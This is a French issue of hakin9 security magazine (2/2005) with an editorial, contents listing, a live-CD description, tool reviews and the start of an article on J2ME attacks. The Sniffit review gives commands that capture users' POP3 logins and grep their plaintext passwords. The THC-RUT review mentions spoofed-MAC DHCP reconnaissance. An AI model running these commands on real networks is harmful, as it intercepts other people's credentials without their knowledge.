Bases 18 Attaques contre les applications Java 2 Micro Edition Tomasz Rybicki Rédacteur en chef : Piotr Sobolewski
Autour de hakin9
N
otre magazine n'est pas seulement quatre-vingt feuilles de papier enfermées dans une couverture en couleurs. Ce qui est très important, ce sont les contacts avec les lecteurs – le site Web, le forum, le boutique en ligne, hakin9.live... Dans tous les numéros de hakin9, nous cherchons à vous faciliter l'accès au savoir et aux informations. Depuis longtemps, sur http://www.hakin9.org, vous pouvez trouver un article de chaque numéro en version électronique – grâce à cela, vous pouvez voir le magazine avant de l'acheter. Depuis quelque temps, nous avons décidé de mettre à votre disposition deux premières pages de chaque article. Comme ça, vous n'achetez pas chat en poche, et de plus, si un jour vous cherchiez des informations sur un sujet qui vous intéresse, vous pourrez facilement vérifier dans quel numéro du magazine il était présenté et qu'il est celui ce dont vous aurez besoin. Depuis quelque temps, vous pouvez acheter hakin9 au format PDF, autant les numéros spécifiques que la collection entière. Cela est important surtout pour nos lecteurs hors de l'Europe (il y en a, même de la Malaisie – salutations !). De plus, nous sommes en train d'organiser la vente des articles spécifiques sous forme électronique. Les versions française et allemande sont les premières, mais les autres versions vont suivre – visitez régulièrement nos sites Web. Ce seront surtout les abonnés à hakin9 qui en profiteront. À partir de ce numéro, chaque personne qui s'abonnera à notre magazine (ou prolongera l'abonnement en cours), obtiendra un CD contenant les archives complètes de hakin9. Je parle beaucoup de notre site Web, mais je dois encore mentionner un petit détail – nous avons publié un sondage qui montre quels articles du numéro courant vous plaisent le plus. Cela nous permettra de mieux cibler le marché, et vous – nos lecteurs – obtiendrez un magazine de mieux en mieux. Soyez les bienvenues sur notre site– visitez-nous, votez et aidez-nous à améliorer hakin9.
Piotr Sobolewski
[email protected]
4
Java 2 Micro Edition, utilisé principalement dans les périphériques portables, est considéré comme un environnement de programmation assez sûr. Pourtant, il existe des façons de s'attaquer aux applications mobiles. Ces attaques se basent surtout sur la négligence des programmeurs et distributeurs des applications. Analysons les scénarios possibles des attaques contre les mobiles utilisant cette version de Java.
Attaque 28 Rootkit personnel dans GNU/Linux Mariusz Burdach
La compromission réussie d'un système n'est que le début du travail de l'intrus. L'accès au compte du superutilisateur ne servira à rien, si l'administrateur détecte que l'intégrité du système a été violée. L'étape suivante du travail du pirate consiste à effacer les traces de son passage à l'aide d'un rootkit, de façon à pouvoir profiter ultérieurement de la machine-victime. Essayons donc de créer un simple rootkit pour les systèmes Linux responsable de la dissimulation des fichiers, répertoires et processus portant un préfixe donné.
34 Menaces liées à l'application de l’algorithme MD5 Philipp Schwaha, Rene Heinzl
MD5 est sans doute la fonction de hachage la plus courante – elle est utilisée tant dans les sommes de contrôles simples que dans les fichiers DRM (Digital Rights Management). Bien qu'il soit quasi impossible de découvrir une faille de sécurité dans MD5, des savants chinois en ont trouvé une. Analysons les menaces dues à cette faille.
AVERTISSEMENT Les techniques présentées dans les articles ne peuvent être utilisées qu'au sein des réseaux internes. La rédaction du magazine n'est pas responsable de l'utilisation incorrecte des techniques présentées. L'utilisation des techniques présentées peut provoquer la perte des données !
www.hakin9.org
hakin9 N o 2/2005
Défense 46 SYSLOG Kernel Tunnel – protection des journaux système Michał Piotrowski
Si l'intrus prend le contrôle des journaux système, nous ne serons pas capables de reconstituer ses actions. Les solutions utilisées à présent n'assurent pas de niveau de sécurité satisfaisante. Le projet SYSLOG Kernel Tunnel vise à combler cette lacune par la création d'un mécanisme envoyant, en toute sécurité, les journaux à un système distant, et étant en même temps difficile à détecter ou désactiver.
56 Reverse engineering – analyse dynamique du code exécutable ELF Marek Janiczek
L'analyse dynamique du code exécutable ELF donne plus de possibilités que l'analyse statique – elle permet d'influencer le fonctionnement d'un programme étudié. Elle n'est pas trop difficile à effectuer, mais exige un environnement séparé. Nous analyserons le programme suspect kstatd, retrouvé dans un système compromis. Outre la description des techniques et des outils nécessaires pour l'analyse, nous présenterons les problèmes classiques qui peuvent avoir lieu lors des examens.
est publié par Software-Wydawnictwo Sp. z o.o. Adresse pour correspondance : Software-Wydawnictwo Sp. z o.o., ul. Lewartowskiego 6, 00-190 Varsovie, Pologne Tél. +48 22 860 18 81, Fax. +48 22 860 17 70 www.hakin9.org
[email protected] Production : Marta Kurpiewska
[email protected] Distribution : Monika Godlewska
[email protected] Rédacteur en chef : Piotr Sobolewski
[email protected] Rédacteur : Roman Polesek
[email protected] Rédactrice adjointe : Paulina Nowak
[email protected] Secrétaire de rédaction : Tomasz Nidecki
[email protected] Composition : Anna Osiecka
[email protected] Projet de couverture : Agnieszka Marchocka Publicité :
[email protected] Abonnement :
[email protected] Traduction : Grażyna Wełna, Iwona Czarnota Correction : Jérémie Fromaget, Jean-François K@sparov, Gabriel Campana, Gilles Gaffet, Sebastien Lecocq Les personnes intéressées par la coopération sont priées de nous contacter :
[email protected] Impression : 101 Studio, Firma Tęgi Distribué par : MLP Parc d’activités de Chesnes, 55 bd de la Noirée - BP 59 F - 38291 SAINT-QUENTIN-FALLAVIER CEDEX
hakin9 N o 2/2005
70 Quelques méthodes simples pour détecter les débogueurs et l'environnement VMware Mariusz Burdach
L'analyse du code exécutable ELF peut être compliquée – les programmeurs essaient de concevoir les applications de façon à rendre impossible de tracer leur fonctionnement. Les auteurs des programmes tentent aussi de bloquer le fonctionnement de ces œuvres dans les environnements virtuels de type VMware. Voyons comment le faire.
06 Sur le CD 76 Dans le prochain numéro
Outils 08 10 12 14 16 17
Knock THC-RUT SamSpade for Windows h9.DiskShreder IPTraf Sniffit
La rédaction a fait tout son possible pour s’assurer que les logiciels et les informations publiées par écrit et sur les autres supports sont à jour et corrects, pourtant elle ne prend pas la responsabilité pour l’utilisation de toute information et de tout logiciel. Tous les logos et marques déposés reproduits dans cette publication sont la propriété de leurs propriétaires respectifs. Ils ont été utilisés uniquement dans un but informatif. La rédaction ne fournit pas de support technique direct lié à l’installation et l’utilisation des logiciels enregistrés sur le CD-ROM distribué avec le magazine.
Avertissement !
La vente des numéros courants ou anciens de notre magazine à un prix différent – sans l’accord de l’éditeur – est nuisible pour la revue et impliquera une responsabilité pénale. La rédaction utilise le système PAO Pour créer les diagrammes on a utilisé le programme Le CD-ROM joint au magazine a été testé avec AntiVirenKit de la société G Data Software Sp. z o.o. hakin9 est publié dans les suivantes versions nationales : allemande (Allemagne, Suisse, Autriche, Luxembourg), française (France, Canada, Belgique, Maroc), espagnole (Espagne, Portugal, Argentine, Mexique), italienne (Italie), tchèque (République Tcheque, Slovakie), polonaise (Pologne), anglaise (États-Unis, Canada).
www.hakin9.org
5
• •
hakin9.live
• •
Sur le CD
L
e CD joint au magazine contient hakin9.live – une version bootable de Linux avec des outils liés au hacking et à la sécurité des systèmes informati-
ques. Pour commencer à travailler avec hakin9.live, il suffit de démarrer l'ordinateur sur le CD. Les options supplémentaires liées au démarrage du CD (choix de la langue, résolution, désactivation de framebuffer, etc.) sont présentées dans la documentation disponible sur le CD – le fichier index.html.
À présent, le gestionnaire de fenêtres par défaut est fluxbox avec certaines modifications. Il a un aspect agréable, ses exigences matérielles sont assez modestes, ce qui est bien pour les ordinateurs pas trop puissants – et selon certains, il est plus l33t. En même temps, il est possible de lancer l'environnement graphique très convivial xfce4 en version 4.2rc3.
Tutoriaux et documentation
Dans la nouvelle édition, nous avons changé le système de base. La version 2.4 h9l est basée sur Aurox Live 10.1. Le système fonctionne sous le contrôle du noyau 2.6.7, la détection des périphériques et la configuration du réseau ont été améliorées. Nous avons aussi uniformisé les menu – tous les programmes ont été divisés en catégories. Grâce à cette solution, l'accès aux applications est plus intuitif. Mais la nouveauté la plus importante – vous le demandiez depuis quelque temps – est la possibilité d'installer hakin9.live sur le disque dur. L'opération est très facile – il suffit, dans le terminal, de lancer le programme h9_install (les détails sont dans le fichier index.html). Dans la version actuelle de hakin9.live de nouveaux programmes ont été joints :
La documentation comprend aussi, outre les conseils d'utilisation et de gestion de hakin9.live, les tutoriaux avec les exercices pratiques préparés par la rédaction du magazine. Les tutoriaux sont conçus pour être utilisés sur hakin9.live. Grâce à cette solution, vous évitez tous les problèmes relatifs aux différentes versions des compilateurs, à la localisation des fichiers de configuration ou autres options nécessaires pour démarrer le programme dans un environnement donné. Outre les tutoriaux du numéro précédent, la version actuelle de hakin9.live en contient deux nouveaux. Le premier présente comment effectuer une analyse dynamique d'un fichier ELF suspect à l'aide du reverse engineering. Nous allons apprendre comment, sous contrôle, lancer le programme et, pas à pas, analyser son fonctionnement. Le deuxième tutorial concerne la protection des journaux système dans Linux. Ce document présente la mise en œuvre du projet SYSLOG Kernel Tunnel, décrit dans l'article de Michał Piotrowski. n
Figure 1. hakin9.live – tous les outils nécessaires sur un CD
Figure 2. Nouvel aspect, nouveau menu
Quoi de neuf
6
Bandwidth Management Tools – un outil très puissant servant à surveiller et gérer la bande passante, Wellenreiter – le scanneur/sniffeur graphique (GTK) des réseaux sans fil, de nouveaux jeux pour console, très utiles dans les moments de repos, un kit d'outils nécessaires pour le reverse engineering sous Linux.
www.hakin9.org
hakin9 N o 2/2005
Knock
Outils
Système : Linux, UNIX Licence : GPL But : permettre les connexions SSH avec les serveurs qui appliquent une politique de sécurité restrictive Page d'accueil : http://www.zeroflux.org/knock/ Knock est un outil fonctionnant en architecture client-serveur permettant de profiter en toute sécurité des connexions SSH dans les cas où l'accès à ce service est indésirable.
Démarrage rapide : Un pare-feu tournant sous Linux que nous administrons applique une politique de sécurité très restrictive. Bien que le démon sshd fonctionne, notre pare-feu ne permet pas d'utiliser le service SSH : iptables rejette toute tentative de connexion sur le port 22. Pourtant l'administrateur doit avoir la possibilité d'ouvrir une session distante sur une telle machine pour, par exemple, mettre à jour des programmes. Comment le faire et ne pas réduire le niveau de sécurité du pare-feu ? C'est le paquet knock qui vient nous aider. Il exploite le mécanisme ressemblant à une frappe à la porte – il ouvre le port 22 (SSH) pour l'adresse IP à partir de laquelle arrivera la séquence déterminée de paquets TCP. Pour que le programme fonctionne correctement, le pare-feu linuxien iptables est nécessaire. Après l'installation du démon du service (knockd) sur le serveur, il faut procéder à sa configuration ; le fichier de configuration par défaut est /etc/knockd.conf. La première option de ce fichier est le champ options – là, nous pouvons définir par exemple un fichier journal (log) ou forcer le programme à utiliser le démon syslogd. De plus, nous pouvons déterminer le temps dans lequel le client doit envoyer la séquence de paquets (option Seq _ Timeout), la commande d'exécution après la réception de certains paquets ou les drapeaux des fichiers TCP qui seront considérés comme corrects (option TCPFlags). Le deuxième champ (openSSH) détermine la séquence des ports (sequence) sur lesquels doivent arriver les paquets ouvrant l'accès au port SSH (par défaut 9000, 8000, 7000). Ensuite, nous pouvons définir les drapeaux TCP nécessaires pour les paquets et préciser la règle iptables ouvrant le port SSH pour l'adresse IP à partir de laquelle arrivera le jeu de paquets exigé. Le troisième champ (closeSSH) permet de définir la séquence des paquets TCP fermant la connexion, leurs drapeaux et de préciser la règle iptables qui verrouille la connexion avec le démon SSH. Après l'enregistrement du fichier de configuration, nous pouvons lancer knockd. Pour ce faire, nous tapons la commande :
possible de la modifier). Maintenant, il suffit de lancer sur une machine distante le programme-client (knock) : $ knock notre.pare-feu.com 9000 8000 7000
Cette commande enverra trois paquets (aux ports déterminés) à l'hôte notre.pare-feu.com. Pour vérifier le fonctionnement du démon, nous nous connectons au moyen du client SSH au port 22 de l'hôte notre.pare-feu.com. Pour bloquer de nouveau les connexions SSH, il faut, à l'aide du programme knock, envoyer la séquence de paquets de fermeture préalablement défini. Autres qualités : Bien que le démon knockd ne fonctionne que sous les système de la famille *NIX, les auteurs ont créé le client knock pour Windows. Dans le fichier de configuration, il est possible de définir la fermeture automatique du port SSH après un certain temps – c'est une option très utile pour ceux qui oublient parfois que la session SSH a été ouverte. Défauts : La configuration de knockd n'est pas intuitive. La documentation ne fournit pas la description détaillée de l'utilisation du client knock. La présence d'iptables est indispensable. Roman Polesek
��������
�� ��������
� ���� ������
�� �������
������������������������
����
�����
������
������
�������
���
��������
������
����������������������������
�������
# knockd –daemon -i eth0
Elle démarre knockd en mode démon écoutant sur l'interface réseau eth0 (c'est une option par défaut – il est
8
Figure 1. Schéma du fonctionnement du programme knock
www.hakin9.org
hakin9 N o 2/2005
THC-RUT
Outils
Système : Unix Licence : free for any non-commercial use But : analyse des réseaux locaux Page d'accueil : http://www.thc.org/thc-rut THC-RUT est un outil servant à analyser les réseaux, surtout locaux.
Démarrage rapide : L'administrateur doit avoir des informations sur les ordinateurs fonctionnant dans le réseau. En général, il utilise le scan de type ping (par exemple à l'aide de Nmap) qui consiste à envoyer les paquets ICMP (Echo Request, Timestamp Request, Netmask Request) et TCP ACK, TCP SYN ou UDP. Mais cette solution a certains défauts. L'un des défauts est la rapidité du fonctionnement. Outre cela, les informations sur les utilisateurs qui bloquent certains types de paquets sont inaccessibles (p. ex. ICMP Echo Request). D'habitude, ce type de scan laisse des traces dans les journaux. Pour éviter ces problèmes, nous pouvons nous servir du programme THC-RUT. Il permet le scannage ARP (Address Resolution Protocol) d'une plage d'adresse déterminée. Le programme envoie à l'adresse physique de diffusion générale (en cas d'Ethernet c'est FF:FF:FF:FF:FF:FF) les requêtes ARP-Request concernant les adresses IP spécifi ques d'une plage d'adresses scannée. Si la machine en question fonctionne dans le réseau, nous obtiendrons la réponse sous forme de paquet ARP-Reply avec l'adresse MAC de cette station. Le scannage ARP est rapide, évite les blocages dressés par les utilisateurs et, en général, ne laisse pas de traces dans les journaux. Évidemment, nous ne pouvons le faire que sur un réseau local. La syntaxe de la commande se présente ainsi :
scan ICMP à l'aide des paquets de type Echo Request, Address Mask Request et MCAST Router Solicitation Request (option icmp). Cet outil peut s'avérer utile aussi pour les pirates car il permet d'envoyer des paquets DHCP-Request avec une fausse adresse MAC – bien sûr, dans le réseau, le serveur DHCP doit être présent. Pour cela, il faut lancer THC-RUT de la manière suivante : # thcrut dhcp
En résultat, nous pouvons connaître plusieurs détails concernant le réseau examiné : la classe d'adresses utilisée, le masque, l'adresse de diffusion générale, l'adresse IP du routeur, les adresses des serveurs DNS et le nom du domaine. Toutes ces informations entre les mains d'un pirate ingénieux peuvent être dangereuses pour la sécurité de notre réseau. Autres qualités : Le programme offre aussi la fonction de reconnaissance distante du système d'exploitation des ordinateurs spécifiques (fingerprinting) – c'est l'option discover qui y sert. Évidemment, la précision des tests exécutés est inférieure à celle offerte par Nmap, mais en revanche, le programme est plus rapide. Défauts : THC-RUT peut être un peu plus lent que Nmap pendant le scan de petits réseaux, mais dans le cas de grands réseaux LAN, il est beaucoup plus rapide. Michał Szymański
# thcrut [option] xx.xx.xx.xx-yy.yy.yy.yy
où xx.xx.xx.xx et yy.yy.yy.yy sont les adresses limites de la plage d'adresses IP qui nous intéresse. Admettons que nous voulons scanner à partir de l'ordinateur 10.10.10.193 une partie de notre réseau local, c'est-à-dire les adresses de la plage de 10.10.10.1 à 10.10.10.55. Pour cela, avec l'utilisateur root, il faut exécuter la commande suivante : # thcrut arp 10.10.10.1-10.10.10.55
En résultat, nous obtenons la liste des ordinateurs présents dans notre réseau avec les informations sur l'adresse IP, l'adresse MAC et le fabricant de la carte réseau. Ce ne sont pas toutes les possibilités offertes par THC-RUT. Outre la méthode ARP, il permet aussi le
10
Figure 1. THC-RUT au boulot
www.hakin9.org
hakin9 N o 2/2005
Sam Spade for Windows
Outils
Système : Windows Licence : Freeware But : Analyse des en-têtes du courrier électronique et recherche des informations Page d'accueil : http://www.samspade.org/ssw/ Sam Spade for Windows est une boîte à outils performante intégrant les outils comme whois, dig, traceroute, enrichie de fonctions d'analyse des en-têtes du courrier électronique, servant avant tout à rechercher les informations sur les expéditeurs et à préparer les rapports sur les abus.
Démarrage rapide : Nous avons reçu une lettre contenant une proposition alléchante de la part de M. Dr Prince Robinson. Dr Robinson nous informe qu'il partagera avec nous sa fortune si nous l'aidons à la récupérer. Nous obtenons une quantité de propositions de ce type et elles commencent à nous irriter – nous avons donc décidé d'en savoir plus sur l'imposteur et de porter plainte à notre FAI pour bloquer cette activité. Pour nous faciliter cette tâche et ne pas analyser manuellement les en-têtes de la lettre reçue (cf. l'article Tracer l'expéditeur d'un e-mail du hakin9 5/2004), nous allons utiliser le programme Sam Spade for Windows. Après avoir installé et configuré le programme (Edit -> Options – il faut, avant tout, indiquer le serveur DNS utilisé), nous copions les en-têtes complets de notre programme de courrier et nous utilisons l'option Edit -> Paste dans le programme Sam Spade. L'outil analysera automatiquement les en-têtes et indiquera les plus importants. Au-dessous de l'un des en-têtes analysés, nous voyons un commentaire ajouté automatiquement par Sam Spade : poczta.software.com.pl received this from someone claiming to be rndf-143-22.telkomadsl.co.za. Dans l'en-tête, nous remarquons aussi l'adresse IP : 165.165.143.22. Nous cliquons sur cette adresse avec
Figure 1. L'analyse de la lettre de Dr Prince Robinson dans le programme Sam Spade for Windows
12
le bouton droit de la souris et sélectionnons l'option Copy to clipboard, et ensuite, nous la collons dans le champ disponible dans le coin supérieur gauche du programme. Ensuite, nous cliquons sur le symbole de la flèche à côté de ce champ. Sam Spade télécharge le bloc d'informations à partir du serveur whois. Dans ce bloc, nous trouvons la notation suivante : Please contact
[email protected] for abuse queries. Lors de l'analyse des en-têtes Sam Spade ouvrira une boîte de dialogue permettant d'envoyer la lettre à l'adresse appropriée. Elle comprend (dans le contenu de la lettre) les en-têtes que nous avons analysés. Le sujet de l'e-mail commence par la sigle UBE qui signifi e Unsolicited Bulk E-mail (le terme définissant le spam). Maintenant, il suffi t de copier l'adresse de l'abuse trouvée et nous pouvons immédiatement (à moins que nous ayons déterminé dans les options de Sam Spade l'adresse de notre serveur de messagerie) envoyer le rapport. Autres qualités : • Le programme offre un mécanisme qui vérifie si le serveur de messagerie permet le relayage (cf. l'article Comprendre l'envoi des spams du hakin9 2/2004). • L'outil traceroute intégré dans Sam Spade offre la présentation graphique de la trace du paquet et des retards dans les nœuds spécifiques du réseau. Défauts : La gestion du programme n'est pas toujours intuitive. Bien que Sam Spade contienne les mécanismes de recherche, par exemple, du serveur whois approprié pour une plage IP, les requêtes sont parfois adressées aux serveurs inadéquats. L'utilisateur doit donc choisir le serveur manuellement. Le programme n'est pas actualisé depuis plusieurs années et certaines options, p. ex. le téléchargement des informations à partir des archives de groupes de discussion ou la vérification d'IP sur les serveurs RBL (cf. l'article Protection contre le spam sur le serveur du hakin9 2/2004), ne fonctionneront pas. Tomasz Nidecki
www.hakin9.org
hakin9 N o 2/2005
h9.DiskShredder
Outils
Système : indépendant du système d'exploitation, le programme est lancé à partir d'un CD ou une disquette Licence : commerciale But : nettoyage sûr des disques durs Page d'accueil : http://www.haking.pl/fr/index.php?page=programs Le premier programme de série h9 créée par l'équipe hakin9.lab – il sert à supprimer le contenu d'un disque dur par le remplacement multiple des données.
Démarrage rapide : Admettons que nous soyons administrateurs dans une grande entreprise qui dans l'une de ses filiales veut remplacer les vieux ordinateurs. Les vieux ordinateurs seront offerts aux écoles à la campagne. Mais certains ordinateurs contiennent des données confidentielles qui ne doivent pas sortir de l'entreprise. Nous devons les supprimer d'une façon sûre et efficace. Nous pouvons : • •
•
confier les disques à une société spéciale, nettoyer les disques à l'aide d'un programme approprié qui permet le remplacement multiple des données, laisser les disques dans l'entreprise et les détruire physiquement.
En ce qui concerne l'infaillibilité, les deux premières solutions sont équivalentes. La première permet à l'administrateur de gagner du temps, mais elle est chère et de plus, les disques avec les données sont fournis à un tiers. La solution la plus efficace est la troisième. Mais le plus raisonnable est d'en arriver à un compromis – nous gardons les disques avec les données les plus confidentielles et nettoyons les autres à l'aide d'un programme spécialement conçu à cet effet, par exemple h9.DiskShredder. Remplacer dix fois les données sur les disques par des données aléatoires semble une stratégie
raisonnable, mais au cas où la sécurité des données est importante, il est recommandé de répéter cette opération au moins trente fois. Avant d'utiliser le programme h9.DiskShredder il faut créer une disquette de démarrage (ou un CD – il suffit d'enregistrer le fichier comme image ISO) avec le programme. L'image de la disquette est enregistrée dans le fichier diskshredder.img. Dans le système DOS, nous pouvons créer la disquette au moyen du programme rawrite.exe : rawrite diskshredder.img
Dans le cas de Linux, il est nécessaire d'utiliser le programme dd : $ dd if=diskshredder.img of=/dev/fd0,
Ensuite, nous lançons les ordinateurs avec les disques à nettoyer à partir des disquettes préparées. Après l'insertion de la disquette, la liste contenant toutes les partitions et disques détectés s'affiche. Nous sélectionnons dans la liste les disques (ou partitions) à effacer. Pour chaque disque sélectionné, il est nécessaire de choisir la méthode de suppression des données. Maintenant, il suffit d'activer la suppression et d'attendre la fin de l'opération. En fonction de la méthode de suppression, de la taille et de la vitesse des disques, cela peut durer de quelques heures jusqu'à quelques dizaines d'heures. Une fois la suppression terminée, le programme affi che les rapports sur le résultat de l'opération et les erreurs éventuelles qui sont enregistrés sur la disquette dans le fi chier shredder.rep. Le rapport contient les informations sur le disque effacé (p. ex. son type, numéro de série, volume), la méthode de suppression et le nombre d'erreurs produites lors de la suppression (les informations détaillées sont enregistrées dans le fi chier shredder.err). Jacek Sokulski
Figure 1. Écran de démarrage su programme h9.DiskShredder 1.0
14
www.hakin9.org
hakin9 N o 2/2005
IPTraf
Outils
Système : Linux Licence : GPL But : outil de monitoring réseau Page d'accueil : http://cebu.mozcom.com/riker/iptraf/ IPTraf est un logiciel de monitoring réseau avancé basé sur l'interface ncurses.
Démarrage rapide : Imaginons que nous soyons administrateur d'un petit réseau à bande passante limitée. Nous observons des problèmes avec le débit de la bande download. Nous soupçonnons alors que l'un des utilisateurs – probablement par le biais de P2P – sature la ligne aux autres utilisateurs. Mais aucun utilisateur ne veut reconnaître sa responsabilité. Il faut donc identifier le responsable et, éventuellement, lui bloquer l'accès au réseau d'échange de fichiers. Pour ce faire, nous avons besoin d'un outil – un sniffeur de paquets – surveillant tout le trafic passant par le serveur et ses interfaces réseau qui informent sur les adresses IP sources et cibles et les ports utilisés. IPTraf est justement ce que nous cherchons. Son interface est basée sur la bibliothèque ncurses – elle est conviviale et assez intuitive. On admet que le serveur a deux interfaces réseau : eth0 du côté local et eth1 du côté Internet. Ce qui nous intéresse pendant notre enquête, c'est l'interface en charge de la communication avec le réseau LAN – nous allons suivre le trafic arrivant à l'un des ordinateurs derrière le masquage d'adresse. Cet outil est disponible par défaut dans la plupart des distributions Linux – nous lançons le programme (en tant que root) avec la commande iptraf. À partir des options disponibles dans le menu, nous sélectionnons la première option – IP traffi c monitor, et forçons le programme à surveiller le trafi c sur l'interface eth0. Ce mode surveille les paquets entrants et sortants sur notre serveur. Il permet aussi d'affi cher toutes les connexions établies : l'adresse IP source et cible et l'adresse mail. Outre ces informations,
il présente aussi les statistiques de la quantité de données transférées – en paquets TCP et en octets. Sans doute, serons-nous très intéressés par les connexions qui génèrent le plus grand trafi c. Pour nous faciliter cette tâche, nous pouvons les trier suivant la taille du transfert (touche s). Ainsi, nous retrouverons sans problèmes l'adresse IP locale qui génère le trafi c le plus important. Si l'adresse n'est pas suffisante, dans le menu Confi guration..., nous pouvons forcer le programme à affi cher les adresses MAC des interfaces réseau. C'est à l'administrateur de déterminer quel réseau P2P est utilisé par l'utilisateur gourmand en ressources – l'analyse des connexions aux ports peut s'avérer ici très utile. IPTraf permet, bien sûr, d'enregistrer les données collectées – nous pourrons ainsi présenter à l'intéressé les preuves de son activité préjudiciable au réseau. Par défaut, toutes les informations enregistrées par le programme sont sauvegardées dans le fichier /var/log/ iptraf/iptraf.log. Autres qualités : Le programme est très avancé. Il permet de créer des propres filtres (c'est-à-dire enregistrer le trafi c dans les intervalles d'adresses IP déterminées ou sur les ports donnés), surveiller les types de paquets et de protocoles voulus (TCP, UDP, et même non-IP). Il permet aussi de définir les hôtes à analyser et d'affecter les noms symboliques aux noms des ports et à leurs intervalles – cela peut être utile pour démasquer les utilisateurs qui abusent de la bande passante. Bien qu'IPTraf travaille par défaut en mode interactif, il est possible de lui passer les commandes dans la ligne de commande. Cela est utile lorsqu'on utilise le programme en tant que démon enregistrant le trafi c qui nous intéresse. Défauts : Le programme est considéré par son auteur comme complet et depuis 2002 n'est plus développé. Il est donc peu probable qu'une nouvelle version sera publiée. Il ne travaille que sous Linux. Roman Polesek
Figure 1. Monitoring du trafic réseau
16
www.hakin9.org
hakin9 N o 2/2005
Sniffit Système : Linux, SunOS, Solaris, FreeBSD, IRIX Licence : GPL But : sniffing de paquets Page d'accueil : http://reptile.rug.ac.be/~coder/sniffit/ sniffit.html Sniffit est un simple sniffeur de paquets, fonctionnant autant en mode batch qu'en mode interactif. Démarrage rapide : Admettons que nous soyons administrateur d'un serveur de messagerie d'un petit réseau du quartier auquel nous voulons introduire une nouvelle fonctionnalité : la possibilité d'utiliser le protocole APOP et l'autorisation CRAM-MD5. Néanmoins, pour ces deux mécanismes, il est nécessaire que les mots de passe soient stockés sous forme ouverte. Le serveur a déjà quelques centaines d'utilisateurs, mais leurs mots de passe ne sont pas enregistrés car ils sont sauvegardés en tant que sommes de contrôle dans le fichier /etc/shadow. Pour résoudre ce problème, nous pouvons utiliser un sniffeur afin d'intercepter les mots de passe des utilisateurs pendant qu'ils établissent les sessions POP3. Nous avons besoin d'un outil qui enregistrera les mots de passe sous forme de fichiers lisibles (pour que leur transfert dans les fichiers de configuration du serveur de messagerie ne nous pose pas de problèmes). C'est pourquoi, nous renoncerons aux outils de type tcpdump au profit du logiciel Sniffit. Nous devons sélectionner les paramètres de travail appropriés de Sniffit. Attendu que nous allons écouter les mots de passe POP3, nous choisissons le protocole TCP à l'aide de l'option -P TCP. Ce qui nous intéresse, c'est le trafic à destination du port 110, c'est pourquoi l'option suivante sera utilisée : -p 110. De plus nous voulons enregistrer les connexions du réseau local, pour ce faire nous choisissons l'interface employée pour les connexions par les utilisateurs locaux (p.ex. eth0) : -F eth0. Puisque nous n'avons pas besoin d'enregistrer les mots de passe des utilisateurs exploitant les serveurs de messagerie externes, nous choisissons l'IP cible de notre serveur de messagerie : -t 192.168.1.1.
Sniffit est donc lancé de la façon suivante : # sniffit -P TCP -p 110 -F eth0 -t192.168.1.1
Nous obtenons un message indiquant que le programme fonctionne. Mais le résultat ne sera pas affiché sur l'écran car Sniffit enregistre les données interceptées dans les fichiers. Essayons de vérifier notre courrier sur le serveur, ensuite d'interrompre le fonctionnement du programme, et consulter le résultat. Après l'interruption du fonctionnement de Sniffit, le répertoire dans lequel le programme a été lancé contient les fichiers avec les sessions POP3. Les noms des fichiers ont la forme IPsource.port-IPcible.port, par exemple : 192.168.1.3.1498-192.168.1.1.110. Consultons le contenu de l'un des fichiers : # cat 192.168.1.3.1498-192.168.1.1.110 USER admin PASS mon_mot_de_passe STAT QUIT
Comme vous le constatez, le fichier présente une session POP3 sous forme lisible, contenant le nom et le mot de passe. Maintenant nous sommes sûrs que Sniffit nous fournira des informations exploitables, nous pouvons donc le lancer en nous servant de l'outil screen ou nohup, en tâche de fond : # nohup sniffit -P TCP -p 110 -F eth0 -t192.168.1.1&
et ensuite, vérifier les résultats quelques heures plus tard. Le répertoire contenant beaucoup de fichiers, nous pouvons utiliser l'outil grep ensemble avec head pour retrouver les informations qui nous intéressent. Nous utiliserons l'option grep : avec les options suivantes : -A 1 écrit une ligne suivante après la ligne retrouvée, -h – le nom du fichier ne sera pas donné. Si nous utiliserons le filtrage par head avec l'option -n 2, seulement deux lignes du premier fichier trouvé seront écrites sur la console (le nom et le mot de passe peuvent se répéter dans plusieurs fichiers). Ainsi, pour intercepter le mot de passe de l'utilisateur luser, il suffit de taper : # grep -A 1 -h "USER luser" * | head -n 2 USER luser PASS mot_de_passe_de_luser
Figure 1. Sniffit travaillant en mode interactif
hakin9 N o 2/2005
Autres qualités : Sniffit peut être utilisé en mode interactif et utiliser son propre fichier de configuration. Défauts : L'outil n'est pas mis à jour depuis quelques années. Bien qu'il reste toujours très efficace, nous ne pouvons espérer une nouvelle version. Tomasz Nidecki
www.hakin9.org
17
Attaques contre les applications Java 2 Micro Edition
Tomasz Rybicki
Java 2 Micro Edition, utilisé notamment dans les périphériques mobiles, est considéré comme un environnement de développement relativement sûr. Pourtant, il existe des moyens permettant d'attaquer les applications pour mobiles. Ceux-ci profitent, en grande partie, de l'insouciance ou du manque d'attention de la part des développeurs et des distributeurs d'applications.
Bases
J
18
2ME (Java 2 Micro Edition de la société Sun Microsystems) gagne de plus en plus en popularité. Pratiquement tous les fabricants des téléphones mobiles offrent des outils permettant le téléchargement, l'installation et le démarrage des applications écrites en cette version de Java – cela concerne, entre autres, les jeux et les utilitaires simples. La présence de J2ME dans les périphériques de type PDA (en anglais Portable Digital Assistant) n'a rien de nouveau. Les développeurs créent donc des applications de plus en plus sophistiquées ayant pour but de traiter des quantités de données de plus en plus importantes (comme la gestion électronique des comptes bancaires). Tout cela fait que la question de sécurité des applications J2ME devient un problème important. Examinons de près les scénarios possibles des attaques contre les périphériques portables utilisant cette version de Java. N'oubliez pas que les méthodes présentées profi tent, en grande partie, de la négligence humaine – aussi bien de la part des développeurs que des utilisateurs. L'environnement de développement lui-même a été bien conçu.
www.hakin9.org
Scénario n° 1 – se faire passer pour le MIDlet L'installation de la plupart des applications dans les périphériques mobiles nécessite leur téléchargement préalable depuis Internet. Mais comment l'utilisateur sait quelle application il est en train de télécharger ? Il est peut-être possible de le persuader de télécharger un virus sur son périphérique ? Voici la méthode permettant de tromper l'utilisateur pour qu'il télécharge et installe
Cet article explique... • •
•
comment réaliser des attaques contre les applications écrites en Java 2 Micro Edition, comment réaliser des attaques contre les périphériques mobiles au standard de sécurisation MIDP, comment sécuriser vos propres applications écrites en J2ME.
Ce qu'il faut savoir... • •
connaître les principes de programmation en Java, savoir ce qu'est SSL (Secure Socket Layer).
hakin9 N o 2/2005
Attaques contre les applications J2ME
Fichier de descripteur de l'application
